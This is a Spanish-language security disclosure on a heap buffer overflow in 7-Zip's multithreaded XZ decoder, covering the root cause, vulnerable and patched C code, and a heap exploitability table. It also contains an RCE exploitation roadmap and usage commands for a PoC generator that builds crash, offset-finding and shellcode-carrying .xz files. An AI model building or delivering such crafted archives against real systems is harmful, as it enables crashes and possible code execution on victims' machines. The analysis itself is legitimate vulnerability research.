
7-Zip XZ Decoder Heap Buffer Overflow - Análisis completo, causa raíz, PoC y hoja de ruta de explotación RCE
Severidad crítica | CVSS: 8.8 (Alta) | CWE-122: Desbordamiento de búfer basado en montículo
Afectado: 7-Zip ≤ 26.01 | Parcheado: 7-Zip 26.02 (2026-06-25)
Descubierto y analizado por: Li Yuxuan (liyuxuan504-byte) y su equipo
Existe un desbordamiento de búfer en el montículo en la ruta de decodificación XZ multihilo de las versiones de 7-Zip ≤ 26.01. Un archivo .xz manipulado de forma maliciosa puede provocar una escritura fuera de los límites más allá del búfer de salida asignado en el montículo, lo que conduce a:
STATUS_ACCESS_VIOLATION (0xC0000005)La vulnerabilidad reside en MixCoder_Code() en C/XzDec.c, donde la rama SingleBuf (outBuf) pasa un destLen2 sin comprobar al decodificador LZMA2 sin limitarlo contra la capacidad restante del búfer (outBufSize - outWritten).
Cualquier sistema o aplicación que utilice una versión vulnerable de 7-Zip (o 7z.dll) para extraer archivos .xz no confiables está en riesgo: la ruta multihilo está habilitada de forma predeterminada en sistemas multinúcleo.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(rama outBuf, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← SIN límite de contenedor
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← puede superar dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ bucle de copia por bloques LZMA2: memcpy(dic + dicPos, src, size)
→ dicPos supera dicBufSize → DESBORDAMIENTO DEL MONTÍCULO
Vulnerable (26.01) — C/XzDec.c ~L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← valor bruto, sin limitación!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← rastrea el total pero nunca comprueba
}
Corregido (26.02) — C/XzDec.c ~L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NUEVA comprobación de límites
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // inconsistencia de datos → abortar
destLen2 -= p->outWritten; // limitar a la capacidad restante!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
La corrección son 3 líneas. Resta p->outWritten (bytes ya escritos en este outBuf) de destLen2 antes de pasarlo al decodificador LZMA2, asegurando que el decodificador nunca pueda escribir más allá del búfer asignado.
En la ruta de un solo hilo, XzUnpacker_Code aplica su propio límite rem basado en unpackSize antes de llamar a MixCoder_Code. Este límite restringe correctamente la salida. La ruta SingleBuf multihilo omite este límite porque pasa destLenOrig directamente: el límite ascendente es ineficaz cuando destLen está preestablecido al tamaño completo de entrada restante en lugar de la capacidad restante real del búfer.
El outBuf se asigna en el montículo CRT mediante ISzAlloc_Alloc(allocMid, unpackSize):
unpackSize | Asignador | Explotabilidad |
|---|---|---|
| ≤ 16 KB | LFH (Montículo de baja fragmentación) | ★ Mejor para RCE — objetos adyacentes en el mismo depósito |
| 16–64 KB | Montículo de segmento (backend) | Posible — corrupción de la lista libre |
| ≥ 64 KB | VirtualAlloc (alineado a página) | Solo DoS — la página de guarda atrapa el desbordamiento |
El enfoque de explotación más prometedor:
unpackSize pequeño (256–16384 bytes) para provocar la asignación LFHnext de la lista libre LFH → se logra una primitiva de asignación arbitraria| Capacidad | Estado |
|---|---|
| DoS (fallo) | ✅ Confirmado, fiable en 7-Zip 26.00 x64 |
| Desbordamiento silencioso del montículo (LFH) | ✅ Confirmado — escribe más allá del búfer, código de salida 2, sin fallo |
| Entrega de carga útil controlada | ✅ Totalmente controlable mediante los datos del bloque de copia LZMA2 |
| Primitivas de disposición del montículo | ✅ Concepto probado — requiere ajuste de disposición específico del objetivo |
| Cadena RCE completa | ❌ En curso — necesita análisis de disposición del montículo en el objetivo |
Los depuradores convencionales (x64dbg, WinDbg) alteran el comportamiento de creación de procesos. Bajo un depurador, 7z.dll puede no cargar nunca la ruta XZ multihilo: el proceso cae silenciosamente en modo de un solo hilo donde la vulnerabilidad no se activa. El enfoque requerido:
tools/)poc/poc-cve-2026-14266-rce.py es un generador de exploits XZ con todas las funciones:
# Confirmación de fallo (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Descubrimiento de offset (patrón cíclico):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Carga útil de shellcode:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Carga útil binaria personalizada:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
| Parámetro | Descripción | Recomendado |
|---|---|---|
--unpack-size | unpackSize declarado del bloque (= tamaño de asignación de outBuf) | 256–4096 para RCE por LFH |
--overflow | Bytes totales a escribir más allá de outBuf | 4096–32768 |
--chunk-size | Tamaño de datos del bloque de copia LZMA2 (1–65535) | NO debe dividir uniformemente unpackSize! Usar un primo (97) o --force-align-overflow |
--payload-cyclic | Patrón cíclico para descubrimiento de offset | Usar primero, luego reemplazar con la carga útil real |
--payload-shellcode | Incrustar shellcode Win x64 WinExec("calc.exe") | ~276 bytes |
# Multihilo (ruta vulnerable):
7z.exe x poc.xz -so -mmt=2 > NUL
# Un solo hilo (NO vulnerable — para comparación):
7z.exe x poc.xz -so -mmt=1 > NUL
Probado en: Windows 11 Pro x64 (compilación 26200) + 7-Zip 26.00